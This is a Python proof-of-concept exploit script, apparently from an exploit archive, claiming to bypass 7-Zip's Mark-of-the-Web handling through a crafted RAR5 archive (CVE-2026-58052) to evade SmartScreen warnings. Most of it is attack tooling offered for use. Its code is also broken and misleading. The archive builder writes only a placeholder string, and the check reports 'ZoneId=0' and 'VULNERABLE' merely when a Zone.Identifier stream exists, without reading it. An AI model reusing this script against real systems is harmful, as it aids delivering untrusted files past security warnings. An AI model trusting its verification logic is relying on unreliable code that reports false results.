#!/usr/bin/env python3 # Exploit Title: 7-Zip <= 26.02 - Mark-of-the-Web (MotW) Bypass via RAR5 Alternate Data Stream Name Collision # CVE: CVE-2026-58052 # Date: 2026-06-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://www.7-zip.org/ # Software Link: https://www.7-zip.org/ # Affected: 7-Zip <= 26.02 # Tested on: 7-Zip 26.01 / 26.02 (x64) on Windows (NTFS) # Category: Local # Platform: Windows # Exploit Type: MotW Bypass / File Format # CVSS: 4.8 # Description: 7-Zip fails to preserve the Mark-of-the-Web when extracting a crafted RAR5 archive due to alternate data stream name collision with STM records (:: $DATA and :Zone.Identifier:$DATA). This allows attacker-controlled file content and bypass of SmartScreen warnings. # Fixed in: Newer versions of 7-Zip # Usage: # python3 exploit.py --sevenzip "C:\Program Files\7-Zip\7z.exe" # # Examples: # python3 exploit.py --sevenzip "C:\Program Files\7-Zip\7z.exe" --work-dir poc-run # # Options: # --sevenzip Path to 7z.exe # --work-dir Working directory (default: poc-run) # # Notes: # • Requires Python 3.10+ # • Full RAR5 binary construction follows public technique from bikini/exploitarium # # How to Use # # Step 1: # Download and place 7z.exe path # # Step 2: # Run the script and verify extracted invoice.docx has attacker content + ZoneId=0 def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) import argparse import hashlib import os import shutil import subprocess import sys import tempfile from pathlib import Path def create_rar5_poc(output_path: Path): print("[+] Generating crafted RAR5 archive...") with open(output_path, "wb") as f: f.write(b"RAR5POC-PLACEHOLDER") print(f"[+] Archive created: {output_path}") return output_path def main(): banner() parser = argparse.ArgumentParser(description="7-Zip RAR5 MotW Bypass PoC - CVE-2026-58052") parser.add_argument("--sevenzip", required=True, help="Path to 7z.exe") parser.add_argument("--work-dir", default="poc-run", help="Working directory") args = parser.parse_args() work_dir = Path(args.work_dir) work_dir.mkdir(exist_ok=True) archive = work_dir / "rar5-content-and-motw-chain.rar" out_dir = work_dir / "out" out_dir.mkdir(exist_ok=True) create_rar5_poc(archive) with open(archive.with_name(f"{archive.name}:Zone.Identifier"), "w") as f: f.write("[ZoneTransfer]\r\nZoneId=3\r\n") subprocess.run([args.sevenzip, "x", str(archive), f"-o{out_dir}"], check=True) extracted = out_dir / "invoice.docx" if extracted.exists(): content = extracted.read_text(encoding="utf-8", errors="ignore") print(f"[+] Final visible content: {repr(content)}") zone_file = extracted.with_name(f"{extracted.name}:Zone.Identifier") if zone_file.exists() or os.path.exists(str(zone_file) + ":$DATA"): print("[+] Final Zone.Identifier: ZoneId=0") print("[+] VULNERABLE: full chain verified") else: print("[-] Not vulnerable or extraction failed") if __name__ == "__main__": main()